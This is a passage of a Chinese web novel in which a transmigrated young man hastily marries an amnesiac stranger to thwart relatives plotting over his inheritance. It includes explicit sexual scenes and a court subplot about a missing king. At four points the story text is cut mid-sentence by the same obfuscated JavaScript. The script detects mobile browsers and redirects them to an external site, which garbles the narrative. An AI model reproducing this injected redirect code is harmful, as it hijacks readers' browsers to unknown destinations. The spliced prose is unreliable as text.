阮锦心想,隼会飞,蝴蝶也会飞,但不管飞不飞,至少此刻的阿蛮是留下来了。 入夜,阮锦回自己的房间睡下,刚躺下,那折磨人的情欲便又袭了上来。 哥儿这种生物,神机录上有注解:性淫,喜壮男。 可他他娘的上辈子真是个直男啊,穿成个哥儿,一穿进来就进入了发情期,这日子可怎么过。 自己动手丰衣足食,阮锦把手伸了下去,晚上不好好满足自己,白天如果出了事,那后果可是不堪设想的。 第二日一早,阮锦洗了床单被褥和亵裤,晾在了房间的角落里,可还是被四儿发现了。 四儿忧心忡忡的小声道:“少爷,老爷走得匆忙,没来得及给你订下亲事,你真不能这样下去了。本来老爷中意隔壁村的李家少爷,都打算过订了,李家少爷却……哼,那就是个负心的!” 听四儿这么一说,阮锦的脑子里又出现了一段模糊的记忆。 难怪原主拖到十八岁还没有议亲,原来是十六岁时便在议亲了,十七岁上想着过订,过完订便完婚,三书六礼都准备好了,谁知道被阮钗给截了胡。 阮钗正是阮锦的大堂姐,李家公子来阮家作客时两人看对了眼。 因为这件事,原主气病了一场,原主的爹也气的不轻,但总不好因为一桩婚事就不过日子了。 而且这件事过去一年多了,二叔只当没发生过,办喜宴的时候竟还来给阮大郎父子送了请柬。 也就是阮家父子体面,否则早就跟他们大闹一场了。 阮锦知道,自己这件事的确拖不得,就怕有心人通过这件事做文章。 哥儿发起情来有时候连理智都没有,生理性的激素半点由不得人。 四儿还在那里碎碎念:“少爷,我去割点野菜喂喂鸡鸭,药和早餐我做好了,你别忘了叫阿蛮也起来早饭。” 阮锦应了一声,整理好衣服后便去了阿蛮的房间。 阿蛮拎起篮子就往外走,却走了不到片刻便匆忙跑了回来,一把拉住阮锦说道:“少爷……不……不好了!” 阮锦皱眉,问道:“怎么了?慌里慌张的。四儿,少爷怎么教你的,要做到泰山崩于前而而不改色。你看看你,太不淡定了。” 四儿扯着阮锦的胳膊道:“二婶……和三婶刚刚在隔壁院子里商量,要让你明天晚上……去……去 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15785397|174863||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 相亲!还说给你喝……喝点三宝茶,让你……你和二婶家的那个远房表哥生米煮成熟饭!” 阮锦:…… 操啊,那这事儿还真挺急的。 阮锦问道:“你是怎么听到的?” 四儿道:“我刚才刚要去割野菜,就看到二婶匆忙往三婶家跑。我心里想着她俩不是昨晚才打了一架吗?怎么就又合好了?原来是谈妥了!” 阮锦的眉心皱了起来,心想不怕贼偷,就怕贼惦记着,自己这边如果再不赶紧找人入赘,怕是迟早要被那两家给算计了。 阮锦好奇的问道:“三宝茶是什么?” 四儿急的直跺脚:“现在是问这个的时候吗?” 阮锦嘿嘿笑了笑,说道:“我好奇嘛,说说呗四儿。” 四儿红着脸小声道:“就……就是肉苁蓉,淫羊藿,菟丝子煎成的茶,可以让男子阳气大盛,尤其是能让哥儿崩溃发疯失去理智。” 阮锦:…… 呵呵,心真是黑了,谁说乡里人淳朴,这淳朴的表象之下竟然藏着这样的祸心。 阮锦的眼睛转了转,看着房间里仍然仿佛人机一般的阿蛮,吩咐道:“四儿,挂上红绸贴上喜字,今天我就和阿蛮完婚。不用办仪式,不用请响器班子,你只去村头把九哥请来,让他做我们的媒人兼证婚人就可以了。” 四儿应承着,又问道:“那……还需要请个响器班子,放几挂鞭吗?” 阮锦摇头:“别,悄悄把事儿办了就好。有了证婚人和婚书,这件事便是板上钉钉的了。今晚就洞房,我就不信了,他们还能再把我抢了去不成?” 虽然四儿也知道这件事办得过于匆忙,可他也明白,眼下最好的人选就是这个捡来的野男人。 不论找谁,二叔和三叔肯定会搞破坏。 很快,九大夫便被请了过来,一身素衣的男人朝阮锦虚虚行了个礼,说道:“你的事四儿都和我说了,你当真都想好了?” 阮锦重重的点了点头:“想好了,辛苦九哥,帮我写份婚书吧!” 自打阮家大郎去世,阮锦的处境怎么样,他可是看在眼里的,但毕竟是别人的家务事,他一个外人并不好多说什么。 但他也觉得,阮锦的决定是对的,招赘婿,是唯一能保住阮大郎财产的途径。 他执笔研磨,很快便拟好了一份婚书。 阮锦接过婚书,读了一遍上面的文字,突然觉得古代的婚书寓意特别美好。 阮锦拿着婚书来到了阿蛮的面前,将婚书铺到了桌子上,对他说道:“阿蛮,你愿意和我成亲吗?” 阿蛮一脸的迷茫,问道:“成亲……是什么?” 阮锦答道:“就是两个人睡一张床,就像你的两只小蝴蝶一样,可以在一起飞。” 阿蛮机械的歪了歪脑袋,问道:“飞?” 阮锦点头:“对,一起飞。” 阿蛮重重的点了点头,坚定道:“好,阿蛮愿意……成亲!” 与此同时,京城官道,一队铁骑匆忙离京,为首的大将军名唤蒙铎,怀中揣着密信,限他三个月内找回失去音信的渊王。 三个月后,渊王亲自雕的傀儡就会失效,到时候渊王不在宫中的事,就会传到敌将的耳朵里,怕是渊国将会有大难。 5. 第 5 章 这件事对于蒙铎来说可不好办,既要找到人,又不能声张,他只能借全境搜捕要犯之名来寻找。 搜到之后必须活捉,不得对他有任何不敬和伤害。 他心想这哪是搜逃犯,这明明就是抓祖宗呢吧! 对于蒙大将军来说,渊王的确是个祖宗,他二十岁登基,如今已经五年,这五年里他不知亲率大军打了四方邻居多少次,把邻居们揍得苦不堪言。 酷爱打仗倒也不是什么大事,可除了爱打仗,他还喜怒无常,嗜杀成性,闲的没事儿了就杀几个大臣玩儿玩儿。 满朝文武无不惧怕,却没有一个敢辞官的,因为辞官的那些,有一个算一个,都死在了归乡的路上。 就这么一个嗜血的君王,却没有一个敢忤逆,都是因为他的治军有方,铁血手腕。 渊王打仗,不能说百战百胜,胜者也有九十九。 那人戴着一只罗刹面具,只露一双鹰隼一般的眼睛,往战场上一站,便如收割人命的阎罗一般,敌阵将领见了都会两股战战,连战马都吓得四散奔逃。 外面盛传,渊王青面獠牙,三头六臂,可止小儿夜啼,能让阎王让路。 只有穿越过来的阮锦知道,历史上的渊帝,疯确实是疯了点,可他的政绩确实是可圈可点的。 比如一统中原,统一文字,统一服制,统一度量衡,修南北大运河,筑黄河大堤,修整吏制一直沿用了三千年。 只是渊二世而亡,听说是因为他没有后代,以至于宗亲们争来夺去,他却笑观虎斗,最后把他好不容易斗来的江山给斗没了。 他倒是好,乐呵呵的给自己办了一场葬礼,没错,活着的时候。 也不曾立储,更未留遗召,把自己关进坟里就不管了。 疯,着实是疯! 穿过来的那天,阮锦还在和同学们讨论,说如果渊皇留下后代,大渊会不会昌盛下去,至少不会进入那个持续几十年的混乱年代。 史学家提到这一段都大摇其头,说是历史上最黑暗的五十年。 但渊皇夜昙却仿佛只喜欢打仗,后宫三千佳丽,难道都在独守空房? 而此时的阮锦,正看着阿蛮在婚书自己的名字上按下的手印,乐呵呵的斗他的傻子夫君:“阿蛮,叫官人。” 阿蛮:“官……官人。” 阮锦被他给逗笑了:“阿蛮好乖,以后咱俩就正式成亲了。官人会好好疼你的!” 九大夫也被他们给逗笑了,说道:“锦哥儿,虽然阿蛮是入赘,但他是官人你是夫郎,不要弄错了。” 渊朝女子被称为夫人或者娘子,哥儿则被称为夫郎。 阮锦哦了一声,说道:“好吧!官人,叫夫郎!” 人机阿蛮垂下眸,只看着手上的木雕,那只隼已经初具雏形,看得出是只猛禽。 阮锦又拿出那两只蝴蝶,蝴蝶上一只镶嵌了红宝石,一只镶嵌了蓝宝石,一个挂在自己脖子上,一个挂在了阿蛮的脖子上。 这两只小蝴蝶,就当成是他们的定情信物好了。 阮锦这个人颜控,哪怕阿蛮是个傻子,他也一点都不嫌弃,谁让他长得好看呢。 简短的仪式举办结束,阮锦做了几道下酒菜来招待九哥,一道是在前面池塘里捞的桂鱼,前面的池塘是山上流下来的山泉水,养出来的桂鱼又肥又嫩。 阮锦做成了松鼠桂鱼,造型别致味道也别致。 一道是虾滑炖蛋,用得也是山溪里四儿捉来的活虾。 还有一道八宝鸭,酒酿鸡,都是九哥从前没吃过的。 又凑了一道茶叶蛋和一道天妇罗,这六道菜,让九哥这个没有什么口腹之欲的人都连连叫绝。 他问阮锦:“我记得你从前是不会做饭的?怎么突然能做这么多菜了?” 阮锦嗨了一声,说道:“从前有父亲和四儿在,我是能懒则懒,哪怕脑子里再多的奇思妙想,也懒得展示出来。现在不一样了,我父亲不在了,我总得做点事情。不然就凭四儿一个人,这个家早晚得散。” 四儿不悦道:“少爷,你不能这么说,老爷去世这些天,还不是一直是我在照顾你的日常起居?” 阮锦嘿嘿一笑,拍了拍四儿的肩膀道:“是是是,我的意思是说四儿年纪还小,我总不能一直让你照顾我。” 九哥看着那几道菜,却道:“锦哥儿这手艺,可以去镇子上开食肆了。” 四儿也跟着点头:“我也觉得,就是少爷懒散惯了,怕是吃不得这份苦。” 阮锦啧了一声:“从前确实是懒,可现在我爹不在了,再懒下去怕是要被那些极品亲戚给吃了。从来求人不如求己,我哪能躺一辈子?” 咸鱼是舒服,但结局只能被吃掉。 九哥淡淡的嗯了一声,说道:“锦哥儿长大了,希望你成婚后,可以独当一面,过好你的日子,比什么都强。如果以后有任何需要我帮忙的,尽管来九之堂来找我。” 阮锦嗯了一声,说道:“好,谢谢九哥。我敬你一杯,感谢九哥为我和阿蛮证婚。” 人机阿蛮手上拿着筷子,却被阮锦塞了个酒杯,阿蛮的长睫微垂,迷茫的看了一眼酒杯,又抬头看向阮锦。 阮锦对他一笑,说道:“阿蛮,陪郎君给九哥敬酒。” 阿蛮机械的举起酒杯,和阮锦一起将杯中的酒液一饮而尽,喝完酒他也没有任何表情,仿佛酒的辛辣对他造不成任何刺激,反倒是阮锦被辣的嘶哈了半天。 九哥笑了笑,抬头看了看天色道:“好,今天就到这里吧!你们早点歇息,希望来年可以抱上小阿锦或者小阿蛮。” 阮锦的脸颊骤然红了,心想真的会怀吗?一个有男人性征的人,可以和另一个男人生下孩子? 这违背了他的生理学常识,却也被这违背常理的生理激素支配着。 他悄悄看了一眼阿蛮,心想也好也好,幸好上天送了个帅哥给他,否则就凭二叔和三叔这两家,他怕是比原主的结局好不到哪里去。 送走了九哥,四儿便去厨房烧了热水,给阮锦和阿蛮洗澡用 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15785398|174863||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 看着那满满一浴缺的水,阮锦有些不好意思,他朝阿蛮招了招手,说道:“阿蛮自己会洗澡吗?” 阿蛮点了点头,答道:“洗澡……会。” 阮锦嗯了一声:“那好,你……”他看了看阿蛮脚上的伤,摇了摇头道:“算了,还是我帮你洗吧!” 说着他上前解开了阿蛮的腰带,用毛巾轻轻帮他擦洗着肩背,这才发现阿蛮的后背上竟然有很多大大小小的伤疤。 他很是疑惑,心想阿蛮的衣著光鲜,皮肤也算细嫩,分明是个没怎么吃过苦的大少爷,可是为什么肩背上却有那么多的疤痕? 这样想着,他又拉起阿蛮的手,发现他的手上竟也有厚厚的茧,这应该是长期握刀枪之类的兵器造成的。 阮锦微怔,抬头看着阿蛮英俊的脸庞问道:“阿蛮从前……是当过兵吗?” 阿蛮只是傻傻的看着他,并未作出任何回答,看样子傻的不轻。 阮锦叹了口气,心想何必为难他,反正他早就有心理准备了,如果他恢复了记忆,就一纸和离书放他自由,眼下和他成亲,也只是权宜之计罢了。 于是他继续给阿蛮擦洗着身子,擦到胸腹的时候,又被他坚实的胸腹肌所震撼,心想这真的是人类能练出来的胸腹肌吗? 倒三角公狗腰是自不必说的,胸肌坚硬挺实也不在话下,八块腹肌仿佛搓衣板儿一样,看着就让男人羡慕嫉妒! 再往下……阮锦不敢看了,可他知道那里是一定要洗的,否则卫生问题堪忧。 这家伙养了几天病不敢沾水,怕是要臭了。 阮锦眼一闭心一横,把他的衣裤全都脱了下来,在看到那处的时候,阮锦的脸刷拉就红了,心想这么大一坨,会不会被……炒死? 罢了,罢了,听说男人大是好事儿呢! 低头再看看自己的,……无所谓了,反正也只是个摆设。 上辈子他也……也只有眼前这男人一半大小呢! 阮锦闭着眼给他洗了个干干净净,又用毛巾把他擦净,说道:“你……先去床上等着我。” 阿蛮乖乖的绕过屏风上了床,阮锦又进了浴桶,把自己里里外外洗了个干净。 一边洗一边寻思,那傻子现在就仿佛是个人机NPC,怕是不会这些房中之事吧? 早知道,他该买几本书给他科普一下,否则今天晚上如何成事? 阮锦越想脸越红,他一个直男,还要教另一个男人怎么炒自己,这事儿闹的。 磨蹭了半天终于洗完了澡,过来的时候,阮锦就看到阿蛮果然又乖又听话的坐在床上等自己。 没有穿衣服,只是盖住了自己的下半身。 那一坨盖在薄薄的布料下面,似是呼之欲出。 阮锦身上披着件中衣,也别扭着上了床,坐到了阿蛮的身边,脑子里思索着如何描述这件事。 他用一双好看的桃花眼望向阿蛮,憋了半天才终于憋出一句话:“阿蛮,我们玩小泥鳅钻洞洞的游戏好不好?” 6. 第 6 章 说完这句话,连阮锦都听不下去了,这他娘的是什么黄色发言! 阿蛮干净澄澈的大眼睛看着他,似乎是在问:怎么玩? 阮锦抓住他的胳膊,上前亲了亲他的嘴唇,呼吸霎时间就有些乱了。 九大夫给了他一盒香膏,还有一盒金创药,说是用得上。 还叮嘱他,哥儿行事,只需随心所欲,官人自会配合,但眼前这个官人是个傻的,他知道应该如何行事吗? 谁料下一秒,阮锦便被阿蛮压在了身下,低低在他耳边说了一个字:“好。” 好,我要玩小泥鳅钻洞洞的游戏。 第二天,惯穿伤和撕裂伤让阮锦根本不想动,傻子体力充沛,傻子傲视人群,傻子也不知道疼老婆。 虽然昨夜他只进去了半截,是的,另外半截进不去,太大了。 饶是如此,阮锦仍然疼得有些受不住,床褥上还落下了斑斑点点的红梅。 他现在知道了,什么女孩子的初夜必有落红,这分明就是被撕裂后的伤口在湛血。 而且傻子还不知足,昨晚三次,如果不是他制止,恐怕自己要被炒死在床上。 他现在觉得自己之前的脑子一定是进了屎,否则为什么会YY那些长得好看的男明星,这种事大概享受的只有男人吧? 虽然后面疼痛得麻木以后,的确在心理上得到不少的慰藉。 可早晨醒来的疼痛,每动一下都让他牵动着全身的神经,起来清洗的时候,甚至觉得自己下面血肉模糊,惨不忍睹。 他觉得这也不能完全怪傻子,毕竟他只是个人机,什么都不懂。 那点金疮药,阮锦昨晚都用完了,还是疼的不行,只得跑去了九大夫的九之堂再去找他抓一些。 九大夫一看他这模样,便忍不住的笑了起来,说道:“你看看你,和你说让你小心些,怎么弄成这样了?需不需要让我看看伤口?” 阮锦摆了摆手道:“咱们男男有别,还是别看了。” 九大夫微怔,沉默片刻后才道:“那倒不是,我和你同性。只是……算了,替我保密,我虽然并不怕人知道我是个郎君,但也挺麻烦的。” 阮锦一脸惊讶,开口道:“什么?九哥你……不……不像啊!” 九大夫轻笑,说道:“怎么?你也觉得我长得丑?我从小是比普通的哥儿高大了些,所以才藏得这么深,不容易被人看出来。” 阮锦疑惑道:“可是……可是……九哥,哥儿成熟期很难熬的,你是怎么熬过来的?” 九大夫答:“我自有我的办法,这下你安心了吧?要不要让我看看伤口?哦,给你看看我的孕痣。” 说着他撸起自己的袖子,小臂上一枚鲜红的守宫砂,说明九大夫还是个处男。 阮锦看了一眼自己小臂上的守宫砂,颜色已经很淡了,不出几日,这个守宫砂就得消失。 阮锦终于信了,说道:“藏得可真深,九哥你是什么难言之隐吗?” 他记得,原主的记忆里,九大夫是三年前才来的阮家村,旁人只道他是个常人男子,谁能料到他竟也是个郎君。 说话间阮锦趴到了床上,九大夫把屏风拉开,边给阮锦查看着伤口边道:“没什么特别的原因,就是逃了个婚,不想嫁给不喜欢的人。” “哦,那你嘶……啊啊啊疼疼疼……” 九哥碰了一下他的伤口,阮锦疼得猛吸屁股,却惹来九哥低低的一声笑,说道:“昨晚你到底怎么教他的?怎么弄成这样?” 具体细节,阮锦没说,只道:“我就跟他说玩个游戏,谁知道他还挺生猛,一玩玩了一个多小时,给我疼死了!” 九哥轻笑:“那你以后有福了,这样的可不多见。” 阮锦心想,婉拒了哈,这玩意儿有什么有福的。 九哥帮他用草药水湿敷了伤口,又涂上一层薄薄的药膏,叮嘱道:“三天内不要再行房了,这个药膏拿回去,每天涂两次。” 阮锦提上裤子感受了一下,惊讶道:“果然不是很疼了!九哥,你医术可真好!” 九哥去洗了手,又给他开了几副药,说道:“你也该调理一下身体了,你这身子太单薄,如果怀了孕,生的时候怕是会很辛苦。” 阮锦压下脸红,心想真的会怀吗? 那会是什么感觉? 接过九哥递上来的药,阮锦便道别了九哥,一边往外走一边道:“四儿如果知道你是哥儿,怕是要伤心死了,他一直挺喜欢你来着。” 九哥无奈:“四儿还是个孩子,他懂什么喜欢不喜欢的。” 四儿今年才十四岁,确实还是个孩子。 阮锦拎上药回家,一回到院子便看到阿蛮正坐在院子里雕木雕,经过昨晚的事,阮锦看到他就想到他把自己按在身下猛操的场景,脑子里便是嗡的一声,脸颊火辣辣的烧了上来。 人真的是很奇怪的生物,向来记吃不记打,疼的事儿全忘了,就记得后面一浪高过一浪的爽。 人机般的大傻子对他的归来毫无反应,仿佛真的是老天爷给穿越过来的他送来的一个NPC。 倒是四儿,见他回来了,赶紧招呼他道:“少爷,今天该去盐井收账了。从前都是大叔去,现在大叔没了,你得亲自去才行。” 阮锦点了点头,应道:“好,我知道了,一会儿咱们一起去。” 这四里八村儿,都是靠着阮家的盐井吃盐的,一斤盐只要一文钱,但一个月下来也有几十两了。 隔壁,阮二郎今日没去上工,撺掇着自家女人道:“今天是盐井收账的日子,几十两银子,又便宜阮锦那个赔钱货了。” 阮二婶的眼睛转了转,说道:“当家的,昨天我和老三家的商量好了。只要把阮锦嫁出去,那口盐井咱就卖了,卖的钱和老三家一人一半分了它!我想着也不能再拖下去了,今天晚了……咱们不如就把这事儿给办了?” 阮二郎就是只老狐狸,他既想要体面,还想要钱,既想让阮锦乖乖去嫁人,又想在村子里留下好名声,所有的骂名就都让女人来担了。 他听完阮二婶的话,便满意的出门去了,只道:“别把事情弄得太僵,以后还要在村子里立足呢 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15785399|174863||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。” 阮二婶冷冷的哼了一声,骂道:“没用的东西,什么事儿都得让我去做,你倒是站着说话不腰疼!” 说完她便叫上了阮三婶,一起去了阮锦的院子。 院锦家是这村子里唯一的四合院儿,有前院有后院,外面还有一块篱笆围起来的菜地,菜地前面还有一片水塘,这些都是阮大郎置办起来的。 老二和老三眼馋得很,可他们也只能说说风凉话,不知道提了多少次,大郎家只有一个哥儿,这些财产迟早是他们两兄弟的。 此时阮二婶和阮三婶看着这栋宅子加这片地,口水都快流出来了,已经规划着等到阮锦嫁了以后怎么瓜分了。 她们来到阮锦家门前,轻轻敲了敲门,四儿的声音从里面传来:“谁啊?” 二婶一脸热情的说道:“四儿,是我,和你家少爷约好了,我叫他过去吃饭相亲啊!” 四儿一听,便转身看向自家少爷,蛐蛐道:“少爷,还真来了!” 幸亏昨天悄眯眯的招了阿蛮做赘婿,否则今天十有八九被她们算计。 阮锦站在那里不敢坐,怕一坐屁股疼,听到动静后便朝四儿抬了抬下巴:“让她们进来吧!” 四儿去开门,问道:“二婶,三婶,有什么事吗?” 两人一把推开四儿,三婶一脸泼辣相:“我和你没话说,锦哥儿呢?” 阮锦的声音从院内传来:“是二婶和三婶吗?快进来坐。” 两人一进院子,刚要说话,便被院子里的红色喜字和红色绸缦给迷了眼。 阮二婶指着喜字问道:“锦哥儿……你这是怎么回事?” 阮锦一瘸一拐的朝她们走了过来,略带羞涩的说道:“二婶,三婶,这不是刚刚招赘了个夫君么。我父亲母亲都不在了,就没有大操大办,只请了谢媒酒,签了婚书。今天正要请二叔二婶一起过来热闹热闹的,可巧你们就来了。” 阮家二婶一脸震惊,阮家三婶却是一嗓子吼了出来:“什么?你招了赘婿?洞……洞过房了?” 阮锦装模作样的害了个羞,说道:“瞧婶子说的,亲都成了,哪能不洞房呢?我爹也早就说过,希望早点看着我成亲。待会儿我便带着夫君去给他老人家磕头,让他老人家也高兴高兴。” 阮家二婶终于没控制住,嚷嚷道:“阮锦,你这一声不吭的就把亲成了?连知会长辈一声都没有?这算哪门子成亲?” 阮锦心中冷笑,表面上仍然是一副淡定的模样:“谁规定成亲就非得按照一个模式来啊?我爹娘成亲的时候,拿个八仙桌把我娘抬过来就算礼成了。我好歹还让九哥写了个婚书,也是在九哥的见证下行了礼。不论如何,婚事已成,洞房也入了。我肚子里,说不定已经有了我们阮家的第三代。二婶三婶,你们是不是应该恭喜一下我啊?” 二人的脸上一片空白,一块大肥肉,就这么打了水漂。 是谁给阮锦的胆子,让他不明不白的就成了亲? 不对,她们严防死守,保准了十里八村没有一个人敢入赘到他家,他又是从哪里找来的赘婿? 7. 第 7 章 二婶和三婶哪还有心思恭喜他,尤其是三婶,一听说这件事,便气的骂骂咧咧道:“好你个小贱蹄子,是谁允许你自做主张找赘婿的?你经过二房和三房同意了吗?” 阮锦假装不懂的眨了眨眼,问道:“三婶这话说的,自古婚姻父母之命媒妁之言,可没听说过叔婶之言呐!我父母不在了,我自可以自己做主。又不是无媒苟合,二叔和二婶这是急的什么?” 我知道你们很急,但是你们先别急,盐井你们是别想从我手上拿去的。 二婶更是气得不轻了,指着他道:“话是这么说,可你结婚又不是什么见不得人的事情,怎么连婶子们都不告诉?这和无媒苟合有什么区别?” 阮锦笑答:“婶子,我有媒的,村西的九之堂九大夫就是我的媒人。有多少人想请他做证婚人都请不到,他既是我的媒人,又是我的证婚人。我记得婶子当初还想让他给阮钗大姐姐证婚来着?九大夫好像说……说什么来着?哦,去了以后德行有亏,我不能做这件事。” 二婶子要被气死了,指着阮锦就要上前和他撕扯。 结果下一秒,阿蛮不知道什么时候过来了,砰的一声一拳把二婶推开。 二婶摔了一个仰八叉,一脸怔愣的看着眼前这个小山一般的美男子。 阮锦有些意外的看着阿蛮,问道:“啊?阿蛮?你怎么过来了?是怕夫郎受委屈吗?” 阿蛮淡淡的嗯了一声,也不说话,只是站在阮锦的面前。 大有一副你们敢欺负我的夫郎,我就把你们全打出去的架势。 阿蛮这个体格子,一看就孔武有力,他身上那肌肉,可不是村子里那些莽夫力巴可以比的。 那应该是军营里通过系统训练的结果,身上也定是有武艺的。 二婶和三婶被这男人凶神恶煞的模样给吓住了,当即开始发起疯来,坐在院子里就冲着外面嚷嚷:“你们快来看呐!阮锦这个小贱货,自己找了个男人过日子,连自己的二婶和三婶都瞒着,真是不要脸!” “也不知道二婶子和三婶子哪儿对不住你了,防我们跟防贼一样!我们给你备了好大一笔嫁妆,你倒是好,竟然悄悄就把事儿给办了!就这么想男人吗?” 其实在乡野间,妇人骂街骂得是很脏的,你还不能拿她们怎么样,毕竟是女人,是肯定不能打的。 很多人就是仗着这个心态,让女人去疯去闹,最后事情往往都能办成。 多数人都还是要脸的,生怕把事情闹大,也怕妇人疯起来闹出人命来。 可巧,阮锦一个现代人,还真不觉得找个男的过日子是什么大不了的事儿。 而阿蛮又是个傻子,他只知道有人欺负昨晚和他玩钻洞洞游戏的媳妇,那他是绝对不能忍的。 于是一不做二不休,一手拎一个,把两个人给拎出去了。 二婶:…… 三婶:…… 此时,门口已经围了不少看热闹的,他们都开始指指点点。 一听说阮锦找了个夫君过日子,一看那夫君人高马大如此俊美,个个儿都觉得这件事有些蹊跷。 阮锦虽然生得不丑,也算是远近闻名的漂亮哥儿,来提亲的也都是十里八村的富户,倒也是能配上这俊俏后生。 只是他的名声差了些,再加了克夫,哪家的公子愿意入赘到他家? 可又见这俊美夫君眼神呆呆的,他们当即明白了,有人喊了一声:“锦哥儿这夫君……莫不是个傻子吧?” 二婶朝阿蛮一看,当即乐了,说道:“我就说呢,谁能愿意入赘到他家,敢情是个傻子。” 三婶也呸了一口道:“放着我们给你找的好亲事不要,偏偏自己找了个傻子。你是看上这傻子哪儿了?该不会是□□比常人强上些吧?” 乡野人说话粗俗不堪,骂起人来更是难听,阮锦倒是不觉得有什么,但他听了还是有些担心起来。 阿蛮的眼神看上去不对,他怕是要被激怒了,阮锦赶紧上前扶住他,却是一个没看住,只见阿蛮咔咔两声,也不知道哪里学来的本事,把二婶和三婶的膀子全都卸了下来。 阮锦:…… 听着耳边不住传来的滋儿哇怪叫声,以及乡亲们支招的声音:“快快快,赶快去九大夫那里让他给接上啊!” 阮锦若有所思,心想他可能不能继续留在这里了。 如果继续留在这里,光是应付二叔和三叔这两家子,恐怕就得耗费不少精力。 他终于做下决定,打算搬去镇子上,不论如何,先让四儿去镇上租个院子再说吧! 一行人拥着二婶和三婶去接胳膊了,阮锦心想等她们接好了胳膊,还不知道会过来怎么和他们闹呢,阮锦赶紧吩咐四儿:“快,把家里值钱的东西收拾一下,套上马车,咱们连夜赶去城里。” 至于那些鸡鸭什么的,他打算晚点让人回来一趟,再把它们带过去。 倒也不是阮锦怕事,是因为他看到了阿蛮发疯的样子,万一真的再把阿蛮激怒了,他大概率是在军营里见过血的。 二婶和三婶再坏,也不过是普通村妇,万一真的闹也人命来,那可是天大的麻烦。 阿蛮一脸迷茫的看向阮锦,脸上仿佛写着:我是不是闯祸了? 阮锦当即摇了摇头,说道:“没有没有,我们阿蛮真厉害!只是,阿蛮,以后有事不要冲动好不好?我知道你想保护我,但是在村子里,伤人是要被戳脊梁骨的。而且二叔和三叔家就是两坨狗皮膏药,咱们走不是因为别的,主要是不能继续把精力浪费在这样的人身上了。” 身为一个穿越者,阮锦手握未来密码,有许多的想法要实现,如果把精力用在这些无谓的争执上,那还真是没有必要。 四儿已经迅速的跑去收拾东西了,阮大郎给阮锦留了几百两银子,这在普通农户家里来说已经是小康之家。 可阮锦知道,大渊未来风雨飘摇,至少会有十年的动乱,他得趁着和平的这三年多赚些钱 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15785400|174863||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,否则那□□恐怕会要了他们所有人的命。 所有值钱的东西和重要的生活用品收拾停当,阮锦便驾车带着四儿和阿蛮朝县城的方向走去。 他们这个县城有一个好听的名字,叫桃花县,因为这个县里的人喜欢种桃树,一到春天,放眼望去全是盛放的桃花。 此时正是桃子成熟的季节,四儿驾着车,阮锦看着道路两旁那一排排的桃树,竟有一种世外桃源的感觉。 空气中是桃子的芬芳,还有某种不知名野花的香味。 阿蛮坐在对面雕着他的隼,阮锦看着俊俏的夫君,再看看眼前的美景,莫名有种未来可期的幸福感。 渊都,皇宫,两名宫人瑟瑟发抖的跪在一名姿容柔美的女子面前。 其中一名宫人跪趴在地上告饶道:“公主殿下饶命,不是奴才隐瞒不报,实是王上不让。王上每隔一段时间就要出宫一些时日,奴才们以为王上这次也一样,十天半个月的也就回来了。谁知……谁知……” 端阳公主冷声道:“既然知道事有蹊跷,为什么还把事情瞒下来?难道你们怀了不臣之心,想让我大渊陷入乱局不成?” 那名宫人吓得腿都软了,赶紧道:“不是的,奴才不敢,殿下饶命!” 端阳公主知道,她再怎么为难这两名太监也没用,只得吩咐亲信侍卫:“把他们给我押下去,关进地牢!” 两名宫人算是松了口气,至少小命保住了。 端阳公主叹了口气,贴身宫女赶紧上前扶住她,说道:“公主殿下,王上可能就是一时贪玩,过段时间就回来了,您也不要过于担忧了。” 端阳公主眉目似画,一张脸上未施粉黛,却仍是一副倾国倾城的容貌。 她是渊王夜昙的亲姐姐,当年与弟弟一同去幽国为质,可以说是十分亲近。 但也没有人比她更了解自己的弟弟,他从小受尽屈辱折磨,那是从尸骨堆里爬出来的。 在幽国时他就曾发誓,要把这些欺辱过他的人尽数踩在脚下,用他们的尸骨做成骨床,让他们为自己当年的所做所为追悔莫及。 这件事,在他掌国政五年来,也算是做到了。 